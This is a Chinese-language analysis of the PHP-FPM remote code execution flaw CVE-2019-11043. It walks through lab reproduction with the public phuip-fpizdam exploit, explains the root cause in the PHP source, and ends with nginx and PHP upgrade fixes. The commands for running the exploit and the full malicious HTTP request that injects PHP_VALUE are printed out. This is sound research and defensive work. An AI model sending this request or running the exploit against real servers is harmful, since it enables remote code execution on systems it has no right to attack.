PHP-fpm 遠端程式碼執行漏洞(CVE-2019-11043)分析

酷酷的曉得哥發表於2019-10-28

作者:LoRexxar'@知道創宇404實驗室
時間:2019年10月25日

原文連結:

國外安全研究員 Andrew Danau在解決一道 CTF 題目時發現,向目標伺服器 URL 傳送 %0a 符號時,服務返回異常,疑似存在漏洞。

2019年10月23日,github公開漏洞相關的詳情以及exp。當nginx配置不當時,會導致php-fpm遠端任意程式碼執行。

下面我們就來一點點看看漏洞的詳細分析,文章中漏洞分析部分感謝團隊小夥伴@Hcamael#知道創宇404實驗室

漏洞復現

為了能更方便的復現漏洞,這裡我們採用vulhub來構建漏洞環境。


git pulldocker-compose up -d

訪問 http://{your_ip}:8080/

下載github上公開的exp(需要go環境)。

go get github.com/neex/phuip-fpizdam

然後編譯

go install github.com/neex/phuip-fpizdam

使用exp攻擊demo網站

phuip-fpizdam http://{your_ip}:8080/

攻擊成功

漏洞分析

在分析漏洞原理之前,我們這裡可以直接跟入看修復的commit

-

從commit中我們可以很清晰的看出來漏洞成因應該是 path_info的地址可控導致的,再結合漏洞發現者公開的漏洞資訊中提到

The regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug.

也就是說,當 path_info被%0a截斷時, path_info將被置為空,回到程式碼中我就不難發現問題所在了。

其中 env_path_info就是變數 path_info的地址, path_info為0則 plien為0.

slen變數來自於請求後url的長度

    int ptlen = strlen(pt);
    int slen = len - ptlen;

其中

int len = script_path_translated_len;
len為url路徑長度
當請求url為%0atest.php
script_path_translated來自於nginx的配置,為/var/www/html/index.php/123\ntest.php
ptlen則為url路徑第一個斜槓之前的內容長度
當請求url為%0atest.php
pt為/var/www/html/index.php

這兩個變數的差就是後面的路徑長度,由於路徑可控,則 path_info可控。

由於 path_info可控,在1222行我們就可以將指定地址的值置零,根據漏洞發現者的描述,透過將指定的地址的值置零,可以控制使 _fcgi_data_seg結構體的 char* pos置零。

其中 script_name同樣來自於請求的配置

而為什麼我們使 _fcgi_data_seg結構體的 char* pos置零,就會影響到 FCGI_PUTENV的結果呢?

這裡我們深入去看 FCGI_PUTENV的定義.

char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val);

跟入函式 fcgi_quick_putenv

函式直接操作request的env,而這個引數在前面被預定義。

繼續跟進初始化函式 fcgi_hash_init.

也就是說 request->env就是前面提到的 fcgi_data_seg結構體,而這裡的 request->env是nginx在和fastcgi通訊時儲存的全域性變數。

部分全域性變數會在nginx的配置中定義

其中變數會在堆上相應的位置儲存

回到利用過程中,這裡我們透過控制 path_info指向 request->env來使 request->env->pos置零。

繼續回到賦值函式 fcgi_hash_set函式

緊接著進入 fcgi_hash_strndup

這裡 h->data-》pos的最低位被置為0,且str可控,就相當於我們可以在前面寫入資料。

而問題就在於,我們怎麼能向我們想要的位置寫資料呢?又怎麼向我們指定的配置寫檔案呢?

這裡我們拿exp傳送的利用資料包做例子

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: ubuntu.local:8080
User-Agent: Mozilla/5.0
D-Gisos: 8=====================================D
Ebut: mamku tvoyu

在資料包中,header中的最後兩部分就是為了完成這部分功能,其中 D-Gisos負責位移,向指定的位置寫入資料。

Ebut會轉化為 HTTP_EBUT這個 fastcgi_param中的其中一個全域性變數,然後我們需要了解一下 fastcgi中全域性變數的獲取資料的方法。

可以看到當fastcgi想要獲取全域性變數時,會讀取指定位置的長度字元做對比,然後讀取一個字串作為value.

也就是說, 只要位置合理,var值相同,且長度相同,fastcgi就會讀取相對應的資料

HTTP_EBUTPHP_VALUE恰好長度相同,我們可以從堆上資料的變化來印證這一點。

在覆蓋之前,該地址對應資料為

然後執行 fcgi_quick_putenv

該地址對應資料變為

我們成功寫入了 PHP_VALUE並控制其內容,這也就意味著我們可以控制PHP的任意全域性變數。

當我們可以控制PHP的任意全域性變數就有很多種攻擊方式,這裡直接以EXP中使用到的攻擊方式來舉例子。

exp作者透過開啟自動包含,並設定包含目錄為 /tmp,之後設定log地址為 /tmp/a並將payload寫入log檔案,透過 auto_prepend_file自動包含 /tmp/a檔案構造後門檔案。

漏洞修復

在經過對漏洞的深入研究後,我們推薦兩種方案修復這個漏洞。

  • 臨時修復:

修改nginx相應的配置,並在php相關的配置中加入

    try_files $uri =404

在這種情況下,會有nginx去檢查檔案是否存在,當檔案不存在時,請求都不會被傳遞到php-fpm。

  • 正式修復:

    • 將PHP 7.1.X更新至7.1.33 
    • 將PHP 7.2.X更新至7.2.24 
    • 將PHP 7.3.X更新至7.3.11 

漏洞影響

結合EXP github中提到的利用條件,我們可以儘可能的總結利用條件以及漏洞影響範圍。

1、Nginx + php_fpm,且配置 location ~ [^/]\.php(/|$)會將請求轉發到php-fpm。
2、Nginx配置 fastcgi_split_path_info並且以 ^開始以 $,只有在這種條件下才可以透過換行符來打斷正規表示式判斷。 ps: 則允許 index.php/321 -> index.php

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

3、 fastcgi_paramPATH_INFO會被定義透過 fastcgi_param PATH_INFO $fastcgi_path_info;,當然這個變數會在 fastcgi_params預設定義。
4、在nginx層面沒有定義對檔案的檢查比如 try_files $uri =404,如果nginx層面做了檔案檢查,則請求不會被轉發給php-fmp。

這個漏洞在實際研究過程中對真實世界危害有限,其主要原因都在於大部分的nginx配置中都攜帶了對檔案的檢查,且預設的nginx配置不包含這個問題。

但也正是由於這個原因,在許多網上的範例程式碼或者部分沒有考慮到這個問題的環境,例如Nginx官方文件中的範例配置、NextCloud預設環境,都出現了這個問題,該漏洞也正真實的威脅著許多伺服器的安全。

在這種情況下,這個漏洞也切切實實的陷入了黑暗森林法則,一旦有某個帶有問題的配置被傳播,其導致的可能就是大批次的服務受到牽連,確保及時的更新永遠是對保護最好的手段:>

參考連結

如需轉載請註明來源。

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2661650/,如需轉載,請註明出處,否則將追究法律責任。

相關文章